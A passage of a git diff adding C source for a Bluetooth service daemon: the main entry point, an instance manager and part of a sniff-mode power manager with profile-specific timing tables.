__BT_L2CAP_SERVICE_H_ */ \ No newline at end of file diff --git a/service/src/main.c b/service/src/main.c new file mode 100644 index 0000000000000000000000000000000000000000..58e37e3ca1e67f120915e2a85a7b7330920d9270 --- /dev/null +++ b/service/src/main.c @@ -0,0 +1,65 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <stdlib.h> +#include <syslog.h> +#include <unistd.h> + +#include "adapter_internel.h" +#include "bluetooth_ipc.h" +#include "bt_adapter.h" +#include "btservice.h" +#include "service_loop.h" + +#include "utils/log.h" + +int main(int argc, char** argv) +{ + int ret; + + syslog(LOG_INFO, "bluetoothd main %d\n", __LINE__); + + ret = service_loop_init(); + if (ret != 0) + goto out; + + ret = bt_service_init(); + if (ret != 0) + goto out; + + bluetooth_ipc_add_services(); + + /* add ipc fd to service loop or join main thread */ + /* + blocked: libuv setup poll need change file to nonblock mode, + but binder transact need block mode + */ +#ifdef CONFIG_BLUETOOTH_IPC_JOIN_LOOP + bluetooth_ipc_join_service_loop(); + ret = service_loop_run(false, "bt_service"); +#else + ret = service_loop_run(true, "bt_service"); + if (ret != 0) + goto out; + bluetooth_ipc_join_thread_pool(); +#endif + +out: + bt_service_cleanup(); + service_loop_exit(); + return ret; +} diff --git a/service/src/manager_service.c b/service/src/manager_service.c new file mode 100644 index 0000000000000000000000000000000000000000..b17b6f4de69d0a2566561bedb26bceb5a9a58a8c --- /dev/null +++ b/service/src/manager_service.c @@ -0,0 +1,318 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <unistd.h> + +#include "bt_list.h" +#include "bt_status.h" +#include "connection_manager.h" +#include "index_allocator.h" +#include "manager_service.h" +#include "power_manager.h" +#include "service_loop.h" +#include "service_manager.h" +#include "utils/log.h" + +#define BT_INST_HOST_NAME_LEN 64 +typedef struct bt_instance { + struct list_node node; + pid_t pid; + + /* uid = 0 means sync intances + uid = pthread_id means async instance */ + uid_t uid; + uint32_t app_id; + uint64_t handle; + uint8_t ins_type; + uint8_t host_name[BT_INST_HOST_NAME_LEN + 1]; + uint32_t remote; + void* usr_data; +} bt_instance_impl_t; + +static struct list_node g_instances = LIST_INITIAL_VALUE(g_instances); +static index_allocator_t* g_instance_id = NULL; +static uv_mutex_t g_mutex = PTHREAD_MUTEX_INITIALIZER; + +static bt_instance_impl_t* manager_find_instance(const char* name, pid_t pid) +{ + struct list_node* node; + + uv_mutex_lock(&g_mutex); + + list_for_every(&g_instances, node) + { + bt_instance_impl_t* ins = (bt_instance_impl_t*)node; + if (ins->uid != 0) + continue; + + size_t name_len = strlen(name); + name_len = name_len > BT_INST_HOST_NAME_LEN ? BT_INST_HOST_NAME_LEN : name_len; + if (strncmp((char*)ins->host_name, name, name_len) == 0 && ins->pid == pid) { + uv_mutex_unlock(&g_mutex); + return ins; + } + } + + uv_mutex_unlock(&g_mutex); + return NULL; +} + +static bt_instance_impl_t* manager_find_async_instance(const char* name, pid_t pid) +{ + struct list_node* node; + + uv_mutex_lock(&g_mutex); + + list_for_every(&g_instances, node) + { + bt_instance_impl_t* ins = (bt_instance_impl_t*)node; + if (ins->uid == 0) + continue; + + size_t name_len = strlen(name); + name_len = name_len > BT_INST_HOST_NAME_LEN ? BT_INST_HOST_NAME_LEN : name_len; + if (strncmp((char*)ins->host_name, name, name_len) == 0 && ins->pid == pid) { + uv_mutex_unlock(&g_mutex); + return ins; + } + } + + uv_mutex_unlock(&g_mutex); + + return NULL; +} + +static bt_instance_impl_t* manager_find_instance_by_appid(uint32_t app_id) +{ + struct list_node* node; + + uv_mutex_lock(&g_mutex); + + list_for_every(&g_instances, node) + { + bt_instance_impl_t* ins = (bt_instance_impl_t*)node; + if (ins->app_id == app_id) { + uv_mutex_unlock(&g_mutex); + return ins; + } + } + + uv_mutex_unlock(&g_mutex); + + return NULL; +} + +static void instance_release(bt_instance_impl_t* ins) +{ + list_delete(&ins->node); + index_free(g_instance_id, ins->app_id); + free(ins); +} + +bt_status_t manager_create_instance(uint64_t handle, uint32_t type, + const char* name, pid_t pid, uid_t uid, + uint32_t* app_id) +{ + bt_instance_impl_t* ins = manager_find_instance(name, pid); + if (ins) + return BT_STATUS_FAIL; + + uv_mutex_lock(&g_mutex); + + if (g_instance_id == NULL) + g_instance_id = index_allocator_create(10); + + ins = malloc(sizeof(bt_instance_impl_t)); + if (!ins) { + uv_mutex_unlock(&g_mutex); + return BT_STATUS_NOMEM; + } + + ins->pid = pid; + ins->uid = uid; + int idx = index_alloc(g_instance_id); + if (idx < 0) { + free(ins); + uv_mutex_unlock(&g_mutex); + return BT_STATUS_NO_RESOURCES; + } + *app_id = idx; + ins->app_id = idx; + ins->handle = handle; + ins->ins_type = type; + snprintf((char*)ins->host_name, BT_INST_HOST_NAME_LEN, "%s", name); + + list_add_tail(&g_instances, &ins->node); + + uv_mutex_unlock(&g_mutex); + + return BT_STATUS_SUCCESS; +} + +bt_status_t manager_create_async_instance(uint64_t handle, uint32_t type, + const char* name, pid_t pid, uid_t uid, + uint32_t* app_id) +{ + bt_instance_impl_t* ins = manager_find_async_instance(name, pid); + if (ins) + return BT_STATUS_FAIL; + + uv_mutex_lock(&g_mutex); + + if (g_instance_id == NULL) + g_instance_id = index_allocator_create(10); + + ins = malloc(sizeof(bt_instance_impl_t)); + if (!ins) { + uv_mutex_unlock(&g_mutex); + return BT_STATUS_NOMEM; + } + + ins->pid = pid; + ins->uid = uid; + int idx = index_alloc(g_instance_id); + if (idx < 0) { + free(ins); + uv_mutex_unlock(&g_mutex); + return BT_STATUS_NO_RESOURCES; + } + *app_id = idx; + ins->app_id = idx; + ins->handle = handle; + ins->ins_type = type; + snprintf((char*)ins->host_name, BT_INST_HOST_NAME_LEN, "%s", name); + + list_add_tail(&g_instances, &ins->node); + + uv_mutex_unlock(&g_mutex); + + return BT_STATUS_SUCCESS; +} + +bt_status_t manager_get_instance(const char* name, pid_t pid, uint64_t* handle) +{ + bt_instance_impl_t* ins = manager_find_instance(name, pid); + if (ins == NULL) { + *handle = 0; + return BT_STATUS_DEVICE_NOT_FOUND; + } + + *handle = ins->handle; + + return BT_STATUS_SUCCESS; +} + +bt_status_t manager_get_async_instance(const char* name, pid_t pid, uint64_t* handle) +{ + bt_instance_impl_t* ins = manager_find_async_instance(name, pid); + if (ins == NULL) { + *handle = 0; + return BT_STATUS_DEVICE_NOT_FOUND; + } + + *handle = ins->handle; + + return BT_STATUS_SUCCESS; +} + +bt_status_t manager_delete_instance(uint32_t app_id) +{ + bt_instance_impl_t* ins = manager_find_instance_by_appid(app_id); + if (!ins) + return BT_STATUS_NOT_FOUND; + + uv_mutex_lock(&g_mutex); + + list_delete(&ins->node); + index_free(g_instance_id, ins->app_id); + free(ins); + + uv_mutex_unlock(&g_mutex); + + return BT_STATUS_SUCCESS; +} + +#if defined(CONFIG_BLUETOOTH_SERVICE) && defined(__NuttX__) +bt_status_t manager_start_service(uint32_t app_id, enum profile_id profile) +{ + bt_instance_impl_t* ins = manager_find_instance_by_appid(app_id); + if (!ins) + return BT_STATUS_NOT_FOUND; + + return service_manager_control(profile, CONTROL_CMD_START); +} + +bt_status_t manager_stop_service(uint32_t app_id, enum profile_id profile) +{ + bt_instance_impl_t* ins = manager_find_instance_by_appid(app_id); + if (!ins) + return BT_STATUS_NOT_FOUND; + + return service_manager_control(profile, CONTROL_CMD_STOP); +} +#endif + +void bluetooth_permission_check(uint32_t app_id) +{ +} + +void manager_init(void) +{ + if (g_instance_id == NULL) + g_instance_id = index_allocator_create(10); +#if defined(CONFIG_BLUETOOTH_SERVICE) && defined(__NuttX__) + service_manager_init(); +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + bt_pm_init(); +#endif +#ifdef CONFIG_BLUETOOTH_CONNECTION_MANAGER + bt_cm_init(); +#endif +#endif +} + +void manager_cleanup(void) +{ + struct list_node* node; + struct list_node* tmp; + + uv_mutex_lock(&g_mutex); + + list_for_every_safe(&g_instances, node, tmp) + { + list_delete(node); + instance_release((bt_instance_impl_t*)node); + } + + index_allocator_delete(&g_instance_id); + + uv_mutex_unlock(&g_mutex); + +#if defined(CONFIG_BLUETOOTH_SERVICE) && defined(__NuttX__) + service_manager_cleanup(); +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + bt_pm_cleanup(); +#endif +#ifdef CONFIG_BLUETOOTH_CONNECTION_MANAGER + bt_cm_cleanup(); +#endif +#endif + uv_mutex_destroy(&g_mutex); +} \ No newline at end of file diff --git a/service/src/manager_service.h b/service/src/manager_service.h new file mode 100644 index 0000000000000000000000000000000000000000..16055b00850e9f4d82212fc700cd193454dc5403 --- /dev/null +++ b/service/src/manager_service.h @@ -0,0 +1,39 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __MANAGER_SERVICE_H__ +#define __MANAGER_SERVICE_H__ + +#include <stdint.h> +#include <unistd.h> + +#include "bt_profile.h" +#include "bt_status.h" + +void manager_init(void); +void manager_cleanup(void); +bt_status_t manager_create_instance(uint64_t handle, uint32_t type, + const char* name, pid_t pid, uid_t uid, + uint32_t* app_id); +bt_status_t manager_create_async_instance(uint64_t handle, uint32_t type, + const char* name, pid_t pid, uid_t uid, + uint32_t* app_id); +bt_status_t manager_get_instance(const char* name, pid_t pid, uint64_t* handle); +bt_status_t manager_get_async_instance(const char* name, pid_t pid, uint64_t* handle); +bt_status_t manager_delete_instance(uint32_t app_id); +bt_status_t manager_start_service(uint32_t app_id, enum profile_id profile); +bt_status_t manager_stop_service(uint32_t app_id, enum profile_id profile); + +#endif /* __MANAGER_SERVICE_H__ */ diff --git a/service/src/power_manager.c b/service/src/power_manager.c new file mode 100644 index 0000000000000000000000000000000000000000..ae586e41185e8d1a273f74149bd7be5cb9220cec --- /dev/null +++ b/service/src/power_manager.c @@ -0,0 +1,867 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "pm_mgr" + +#include <stdlib.h> +#include <string.h> + +#include "adapter_internel.h" +#include "bt_list.h" +#include "bt_profile.h" +#include "power_manager.h" +#include "sal_interface.h" +#include "service_loop.h" +#include "utils/log.h" + +#define BT_PM_REQ_PENDING_TIMEOUT 2500 + +#ifndef BT_PM_SNIFF_MAX +#define BT_PM_SNIFF_MAX 800 +#define BT_PM_SNIFF_MIN 400 +#define BT_PM_SNIFF_ATTEMPT 4 +#define BT_PM_SNIFF_TIMEOUT 1 +#endif + +#ifndef BT_PM_SNIFF1_MAX +#define BT_PM_SNIFF1_MAX 400 +#define BT_PM_SNIFF1_MIN 200 +#define BT_PM_SNIFF1_ATTEMPT 4 +#define BT_PM_SNIFF1_TIMEOUT 1 +#endif + +#ifndef BT_PM_SNIFF2_MAX +#define BT_PM_SNIFF2_MAX 54 +#define BT_PM_SNIFF2_MIN 30 +#define BT_PM_SNIFF2_ATTEMPT 4 +#define BT_PM_SNIFF2_TIMEOUT 1 +#endif + +#ifndef BT_PM_SNIFF3_MAX +#define BT_PM_SNIFF3_MAX 150 +#define BT_PM_SNIFF3_MIN 50 +#define BT_PM_SNIFF3_ATTEMPT 4 +#define BT_PM_SNIFF3_TIMEOUT 1 +#endif + +#ifndef BT_PM_SNIFF4_MAX +#define BT_PM_SNIFF4_MAX 18 +#define BT_PM_SNIFF4_MIN 10 +#define BT_PM_SNIFF4_ATTEMPT 4 +#define BT_PM_SNIFF4_TIMEOUT 1 +#endif + +#ifndef BT_PM_SNIFF5_MAX +#define BT_PM_SNIFF5_MAX 36 +#define BT_PM_SNIFF5_MIN 30 +#define BT_PM_SNIFF5_ATTEMPT 2 +#define BT_PM_SNIFF5_TIMEOUT 0 +#endif + +#ifndef BT_PM_SNIFF6_MAX +#define BT_PM_SNIFF6_MAX 18 +#define BT_PM_SNIFF6_MIN 14 +#define BT_PM_SNIFF6_ATTEMPT 1 +#define BT_PM_SNIFF6_TIMEOUT 0 +#endif + +#define BT_PM_PREF_MODE_SNIFF 0x10 +#define BT_PM_PREF_MODE_ACTIVE 0x20 +#define BT_PM_PREF_MODE_MASK 0x0f + +typedef enum { + BT_PM_RESTART, + BT_PM_NEW_REQ, + BT_PM_EXECUTE, +} bt_pm_request_t; + +typedef enum { + BT_PM_STATE_CONN_OPEN, + BT_PM_STATE_CONN_CLOSE, + BT_PM_STATE_APP_OPEN, + BT_PM_STATE_APP_CLOSE, + BT_PM_STATE_SCO_OPEN, + BT_PM_STATE_SCO_CLOSE, + BT_PM_STATE_CONN_IDLE, + BT_PM_STATE_CONN_BUSY, + BT_PM_STATE_MAX, +} bt_pm_state_t; + +typedef enum { + BT_PM_NO_ACTION, /* no change to the current pm setting */ + BT_PM_NO_PREF, /* service has no preference on power mode setting. eg. connection to service got closed */ + BT_PM_SNIFF = BT_PM_PREF_MODE_SNIFF, /* prefers sniff mode */ + BT_PM_SNIFF1, /* prefers sniff1 mode */ + BT_PM_SNIFF2, /* prefers sniff2 mode */ + BT_PM_SNIFF3, /* prefers sniff3 mode */ + BT_PM_SNIFF4, /* prefers sniff4 mode */ + BT_PM_SNIFF5, /* prefers sniff5 mode */ + BT_PM_SNIFF6, /* prefers sniff6 mode */ + BT_PM_ACTIVE = BT_PM_PREF_MODE_ACTIVE, /* prefers active mode */ +} bt_pm_prefer_mode_t; + +typedef enum { + BT_PM_MODE_INDEX_0, + BT_PM_MODE_INDEX_1, + BT_PM_MODE_INDEX_2, + BT_PM_MODE_INDEX_3, + BT_PM_MODE_INDEX_4, + BT_PM_MODE_INDEX_5, + BT_PM_MODE_INDEX_6, + BT_PM_MODE_INDEX_MAX = BT_PM_MODE_INDEX_6, +} bt_pm_mode_index_t; + +typedef enum { + BT_PM_SPEC_INDEX_0, + BT_PM_SPEC_INDEX_1, + BT_PM_SPEC_INDEX_2, + BT_PM_SPEC_INDEX_3, + BT_PM_SPEC_INDEX_4, + BT_PM_SPEC_INDEX_MAX = BT_PM_SPEC_INDEX_4, +} bt_pm_spec_index_t; + +typedef enum { + BT_PM_STATUS_NONE, + BT_PM_STATUS_PENDING_ACTIVE, +} bt_pm_status_t; + +typedef struct { + bt_pm_prefer_mode_t power_mode; + uint16_t timeout; +} bt_pm_action_t; + +typedef struct { + uint8_t profile_id; + uint8_t spec_idx; /* index of spec table to use */ +} bt_pm_config_t; + +typedef struct { + uint8_t allow_mask; /* mask of sniff/hold/park modes to allow */ + uint8_t ssr; /* set SSR on conn open/unpark */ + + bt_pm_action_t actn_tbl[BT_PM_STATE_MAX]; +} bt_pm_spec_table_t; + +typedef struct { + struct list_node srv_node; + + uint8_t profile_id; + bt_pm_state_t state; + bt_address_t peer_addr; +} bt_pm_service_t; + +typedef struct { + service_timer_t* pm_timer; + bt_address_t peer_addr; + bool active; + bt_pm_prefer_mode_t pm_action; + uint16_t profile_id; +} bt_pm_timer_t; + +typedef void (*bt_pm_hanlde_callback_t)(bt_pm_state_t state, uint8_t profile_id, bt_address_t* peer_addr); + +typedef struct { + struct list_node pm_services; + struct list_node pm_devices; + bool inited; + uint16_t last_profile_id; + + bt_pm_timer_t pm_timer[CONFIG_BLUETOOTH_PM_MAX_TIMER_NUMBER]; + bt_pm_hanlde_callback_t pm_callback; +} bt_pm_manager_t; + +typedef struct { + struct list_node srv_node; + + bt_address_t peer_addr; + uint8_t mode; + uint8_t hci_status; + uint16_t interval; + service_timer_t* request_timer; +} bt_pm_device_t; + +static const bt_pm_mode_t g_pm_mode[] = { + /* sniff modes: max interval, min interval, attempt, timeout */ + { BT_PM_SNIFF_MAX, BT_PM_SNIFF_MIN, BT_PM_SNIFF_ATTEMPT, BT_PM_SNIFF_TIMEOUT, BT_LINK_MODE_SNIFF }, /* for BT_PM_SNIFF */ + { BT_PM_SNIFF1_MAX, BT_PM_SNIFF1_MIN, BT_PM_SNIFF1_ATTEMPT, BT_PM_SNIFF1_TIMEOUT, BT_LINK_MODE_SNIFF }, /* for BT_PM_SNIFF1 */ + { BT_PM_SNIFF2_MAX, BT_PM_SNIFF2_MIN, BT_PM_SNIFF2_ATTEMPT, BT_PM_SNIFF2_TIMEOUT, BT_LINK_MODE_SNIFF }, /* for BT_PM_SNIFF2 */ + { BT_PM_SNIFF3_MAX, BT_PM_SNIFF3_MIN, BT_PM_SNIFF3_ATTEMPT, BT_PM_SNIFF3_TIMEOUT, BT_LINK_MODE_SNIFF }, /* for BT_PM_SNIFF3 */ + { BT_PM_SNIFF4_MAX, BT_PM_SNIFF4_MIN, BT_PM_SNIFF4_ATTEMPT, BT_PM_SNIFF4_TIMEOUT, BT_LINK_MODE_SNIFF }, /* for BT_PM_SNIFF4 */ + { BT_PM_SNIFF5_MAX, BT_PM_SNIFF5_MIN, BT_PM_SNIFF5_ATTEMPT, BT_PM_SNIFF5_TIMEOUT, BT_LINK_MODE_SNIFF }, /* for BT_PM_SNIFF5 */ + { BT_PM_SNIFF6_MAX, BT_PM_SNIFF6_MIN, BT_PM_SNIFF6_ATTEMPT, BT_PM_SNIFF6_TIMEOUT, BT_LINK_MODE_SNIFF }, /* for BT_PM_SNIFF6 */ +}; + +static const bt_pm_config_t g_pm_cfg[] = { + { PROFILE_HFP_HF, BT_PM_SPEC_INDEX_0 }, /* HF spec table */ + { PROFILE_HFP_AG, BT_PM_SPEC_INDEX_0 }, /* AG spec table */ + { PROFILE_A2DP, BT_PM_SPEC_INDEX_1 }, /* AV spec table */ + { PROFILE_AVRCP_CT, BT_PM_SPEC_INDEX_1 }, /* AV spec table */ + { PROFILE_AVRCP_TG, BT_PM_SPEC_INDEX_1 }, /* AV spec table */ + { PROFILE_SPP, BT_PM_SPEC_INDEX_2 }, /* SPP spec table */ + { PROFILE_PANU, BT_PM_SPEC_INDEX_3 }, /* PAN spec table */ + { PROFILE_HID_DEV, BT_PM_SPEC_INDEX_4 }, /* HID spec table */ +}; + +static const bt_pm_spec_table_t g_pm_spec[] = { + /* HF AG: 0(BT_PM_SPEC_INDEX_0) */ + { (BT_PM_SNIFF), /* allow sniff */ + (0), /* the SSR entry */ + { + { BT_PM_SNIFF, 7000 }, /* conn open */ + { BT_PM_NO_PREF, 0 }, /* conn close */ + { BT_PM_NO_ACTION, 0 }, /* app open */ + { BT_PM_NO_ACTION, 0 }, /* app close */ + { BT_PM_SNIFF3, 7000 }, /* sco open */ + { BT_PM_SNIFF, 7000 }, /* sco close */ + { BT_PM_SNIFF, 7000 }, /* idle */ + { BT_PM_ACTIVE, 0 } /* busy */ + } }, + + /* AV: 1(BT_PM_SPEC_INDEX_1) */ + { (BT_PM_SNIFF), /* allow sniff */ + (0), /* the SSR entry */ + { + { BT_PM_SNIFF, 7000 }, /* conn open */ + { BT_PM_NO_PREF, 0 }, /* conn close */ + { BT_PM_NO_ACTION, 0 }, /* app open */ + { BT_PM_NO_ACTION, 0 }, /* app close */ + { BT_PM_NO_ACTION, 0 }, /* sco open */ + { BT_PM_NO_ACTION, 0 }, /* sco close */ + { BT_PM_SNIFF, 7000 }, /* idle */ + { BT_PM_ACTIVE, 0 } /* busy */ + } }, + + /* SPP: 2(BT_PM_SPEC_INDEX_2) */ + { (BT_PM_SNIFF), /* allow sniff */ + (0), /* the SSR entry */ + { + { BT_PM_NO_ACTION, 0 }, /* conn open */ + { BT_PM_NO_PREF, 0 }, /* conn close */ + { BT_PM_ACTIVE, 0 }, /* app open */ + { BT_PM_NO_ACTION, 0 }, /* app close */ + { BT_PM_NO_ACTION, 0 }, /* sco open */ + { BT_PM_NO_ACTION, 0 }, /* sco close */ + { BT_PM_SNIFF, 1000 }, /* idle */ + { BT_PM_ACTIVE, 0 } /* busy */ + } }, + + /* PAN: 3(BT_PM_SPEC_INDEX_3) */ + { (BT_PM_SNIFF), /* allow sniff */ + (0), /* the SSR entry */ + { + { BT_PM_ACTIVE, 0 }, /* conn open */ + { BT_PM_NO_PREF, 0 }, /* conn close */ + { BT_PM_ACTIVE, 0 }, /* app open */ + { BT_PM_NO_ACTION, 0 }, /* app close */ + { BT_PM_NO_ACTION, 0 }, /* sco open */ + { BT_PM_NO_ACTION, 0 }, /* sco close */ + { BT_PM_SNIFF, 5000 }, /* idle */ + { BT_PM_ACTIVE, 0 } /* busy */ + } }, + + /* HID: 4(BT_PM_SPEC_INDEX_4) */ + { (BT_PM_SNIFF), /* allow sniff */ + (0), /* the SSR entry */ + { + { BT_PM_SNIFF, 5000 }, /* conn open */ + { BT_PM_NO_PREF, 0 }, /* conn close */ + { BT_PM_NO_ACTION, 0 }, /* app open */ + { BT_PM_NO_ACTION, 0 }, /* app close */ + { BT_PM_NO_ACTION, 0 }, /* sco open */ + { BT_PM_NO_ACTION, 0 }, /* sco close */ + { BT_PM_SNIFF2, 5000 }, /* idle */ + { BT_PM_SNIFF4, 200 } /* busy */ + } }, +}; + +static bt_pm_manager_t g_pm_manager = { 0 }; + +static void pm_timeout_callback(service_timer_t* timer, void* data); +static void pm_request_timeout_callback(service_timer_t* timer, void* data); + +static void pm_request_start_timer(bt_pm_device_t* device) +{ + if (!device) { + return; + } + + if (device->request_timer) { + service_loop_cancel_timer(device->request_timer); + } + device->request_timer = service_loop_timer(BT_PM_REQ_PENDING_TIMEOUT, 0, + pm_request_timeout_callback, device); +} + +static void pm_request_stop_timer(bt_pm_device_t* device) +{ + if (!device) { + return; + } + + if (device->request_timer) { + service_loop_cancel_timer(device->request_timer); + device->request_timer = NULL; + } +} + +static bt_pm_service_t* pm_conn_service_find(uint8_t profile_id, bt_address_t* peer_addr) +{ + bt_pm_manager_t* manager = &g_pm_manager; + struct list_node* node; + struct list_node* tmp; + bt_pm_service_t* service; + + list_for_every_safe(&manager->pm_services, node, tmp) + { + service = (bt_pm_service_t*)node; + + if (service->profile_id == profile_id && !bt_addr_compare(&service->peer_addr, peer_addr)) { + return service; + } + } + + return NULL; +} + +static bt_pm_service_t* pm_conn_service_add(uint8_t profile_id, uint8_t state, bt_address_t* peer_addr) +{ + bt_pm_manager_t* manager = &g_pm_manager; + bt_pm_service_t* service; + + service = calloc(1, sizeof(bt_pm_service_t)); + if (!service) { + return NULL; + } + + service->profile_id = profile_id; + service->state = state; + memcpy(&service->peer_addr, peer_addr, sizeof(bt_address_t)); + list_add_tail(&manager->pm_services, &service->srv_node); + return service; +} + +static void pm_conn_service_remove(bt_pm_service_t* service) +{ + if (service) { + list_delete(&service->srv_node); + free(service); + } +} + +static bt_pm_device_t* pm_conn_device_find(bt_address_t* peer_addr) +{ + bt_pm_manager_t* manager = &g_pm_manager; + struct list_node* node; + struct list_node* tmp; + bt_pm_device_t* device; + + list_for_every_safe(&manager->pm_devices, node, tmp) + { + device = (bt_pm_device_t*)node; + + if (!bt_addr_compare(&device->peer_addr, peer_addr)) { + return device; + } + } + + return NULL; +} + +static bt_pm_device_t* pm_conn_device_add(bt_address_t* peer_addr) +{ + bt_pm_manager_t* manager = &g_pm_manager; + bt_pm_device_t* device; + + device = zalloc(sizeof(bt_pm_device_t)); + if (!device) { + return NULL; + } + + memcpy(&device->peer_addr, peer_addr, sizeof(bt_address_t)); + device->mode = BT_LINK_MODE_ACTIVE; + list_add_tail(&manager->pm_devices, &device->srv_node); + return device; +} + +static void pm_conn_device_remove(bt_pm_device_t* device) +{ + if (device) { + pm_request_stop_timer(device); + list_delete(&device->srv_node); + free(device); + } +} + +static bt_status_t pm_request_sniff(bt_address_t* peer_addr, bt_pm_mode_index_t index) +{ + bt_pm_device_t* device; + bt_pm_mode_t mode; + bt_status_t ret; + + if (index > BT_PM_MODE_INDEX_MAX) { + BT_LOGE("%s, index:%d over max(%d)", __func__, index, BT_PM_MODE_INDEX_MAX); + return BT_STATUS_PARM_INVALID; + } + + device = pm_conn_device_find(peer_addr); + if (!device) { + BT_LOGE("%s, fail to find device:%s", __func__, bt_addr_str(peer_addr)); + return BT_STATUS_FAIL; + } + + memcpy(&mode, &g_pm_mode[index], sizeof(bt_pm_mode_t)); + if (device->mode == BT_LINK_MODE_SNIFF && device->interval <= mode.max && device->interval >= mode.min) { + return BT_STATUS_SUCCESS; + } + + BT_LOGD("%s, peer_addr:%s, max:%d, min:%d, attempt:%d, timeout:%d", __func__, bt_addr_str(peer_addr), mode.max, mode.min, mode.attempt, mode.timeout); + ret = bt_sal_set_power_mode(PRIMARY_ADAPTER, peer_addr, &mode); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s, fail to set power mode, ret:%d", __func__, ret); + return ret; + } + + return ret; +} + +static bt_status_t pm_request_active(bt_address_t* peer_addr) +{ + bt_pm_device_t* device; + bt_status_t ret; + bt_pm_mode_t mode = { + .mode = BT_LINK_MODE_ACTIVE, + }; + + device = pm_conn_device_find(peer_addr); + if (!device) { + BT_LOGE("%s, fail to fail to find device:%s", __func__, bt_addr_str(peer_addr)); + return BT_STATUS_FAIL; + } + + if ((device->mode == BT_LINK_MODE_ACTIVE) || (device->hci_status == BT_PM_STATUS_PENDING_ACTIVE)) { + return BT_STATUS_SUCCESS; + } + + BT_LOGD("%s, peer_addr:%s", __func__, bt_addr_str(peer_addr)); + ret = bt_sal_set_power_mode(PRIMARY_ADAPTER, peer_addr, &mode); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s, fail to set power mode, ret:%d", __func__, ret); + return ret; + } + + device->hci_status = BT_PM_STATUS_PENDING_ACTIVE; + pm_request_start_timer(device); + + return ret; +} + +static bool pm_prefer_config(bt_address_t* peer_addr, bt_pm_prefer_mode_t* pm_action, uint32_t* timeout_ms, uint8_t* allowed_modes, uint16_t* profile_id) +{ + bt_pm_manager_t* manager = &g_pm_manager; + struct list_node* node; + struct list_node* tmp; + bt_pm_prefer_mode_t power_mode = BT_PM_NO_ACTION; + uint8_t allow_mask = 0; + uint32_t timeout = 0; + uint16_t id = 0; + bool ret = false; + + list_for_every_safe(&manager->pm_services, node, tmp) + { + bt_pm_service_t* service; + const bt_pm_config_t* config; + const bt_pm_spec_table_t* table; + const bt_pm_action_t* action; + int j; + + service = (bt_pm_service_t*)node; + + if (bt_addr_compare(&service->peer_addr, peer_addr)) { + continue; + } + + for (j = 0; j < sizeof(g_pm_cfg) / sizeof(g_pm_cfg[0]); j++) { + if (g_pm_cfg[j].profile_id == service->profile_id) { + break; + } + } + + if (j == sizeof(g_pm_cfg) / sizeof(g_pm_cfg[0])) { + return false; + } + + config = &g_pm_cfg[j]; + table = &g_pm_spec[config->spec_idx]; + action = &table->actn_tbl[service->state]; + + if (action->power_mode > power_mode || ((action->power_mode == power_mode) && (service->profile_id == *profile_id))) { + power_mode = action->power_mode; + timeout = action->timeout; + id = config->profile_id; + allow_mask = table->allow_mask; + manager->last_profile_id = id; + ret = true; + } + } + + *pm_action = power_mode; + *timeout_ms = timeout; + *allowed_modes = allow_mask; + *profile_id = id; + return ret; +} + +static bool pm_start_timer(bt_address_t* peer_addr, uint32_t timeout, uint8_t profile_id, bt_pm_prefer_mode_t pm_action) +{ + bt_pm_manager_t* manager = &g_pm_manager; + bt_pm_timer_t* timer; + int i; + + for (i = 0; i < CONFIG_BLUETOOTH_PM_MAX_TIMER_NUMBER; i++) { + timer = &manager->pm_timer[i]; + + if (!timer->active) { + timer->active = true; + timer->pm_action = pm_action; + timer->profile_id = profile_id; + memcpy(&timer->peer_addr, peer_addr, sizeof(timer->peer_addr)); + if (timer->pm_timer) { + service_loop_cancel_timer(timer->pm_timer); + } + + timer->pm_timer = service_loop_timer(timeout, 0, pm_timeout_callback, timer); + return true; + } + } + + BT_LOGE("%s, timer id:%d over max:%d", __func__, i, CONFIG_BLUETOOTH_PM_MAX_TIMER_NUMBER); + return false; +} + +static void pm_stop_timer(bt_address_t* peer_addr) +{ + bt_pm_manager_t* manager = &g_pm_manager; + bt_pm_timer_t* timer; + int i; + + for (i = 0; i < CONFIG_BLUETOOTH_PM_MAX_TIMER_NUMBER; i++) { + timer = &manager->pm_timer[i]; + if (timer->active && !bt_addr_compare(&timer->peer_addr, peer_addr)) { + timer->active = false; + service_loop_cancel_timer(timer->pm_timer); + timer->pm_timer = NULL; + } + } +} + +static void 